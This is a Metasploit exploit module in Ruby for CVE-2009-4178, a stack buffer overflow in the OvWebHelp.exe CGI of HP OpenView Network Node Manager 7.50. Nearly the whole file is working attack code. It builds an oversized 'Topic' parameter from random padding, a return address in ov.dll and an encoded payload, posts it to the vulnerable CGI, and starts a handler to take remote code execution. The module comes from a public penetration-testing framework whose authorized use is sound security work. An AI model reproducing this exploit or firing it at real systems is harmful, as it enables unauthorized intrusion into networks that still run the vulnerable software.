##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
        By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute
        arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4178' ],
          [ 'OSVDB', '60929' ],
          [ 'BID', '37340' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'HP OpenView Network Node Manager 7.50', { 'Ret' => 0x5a01d78d } ], # ov.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 9 2009'))
  end

  def exploit

    sploit = rand_text_alpha_upper(5123) + [target.ret].pack('V') + payload.encoded

    print_status("Trying target #{target.name}...")

    send_request_cgi({
      'uri'		=> "/OvCgi/OvWebHelp.exe",
      'method'	=> "POST",
      'data'		=> "Topic=#{sploit}",
      }, 3)

    handler

  end
end
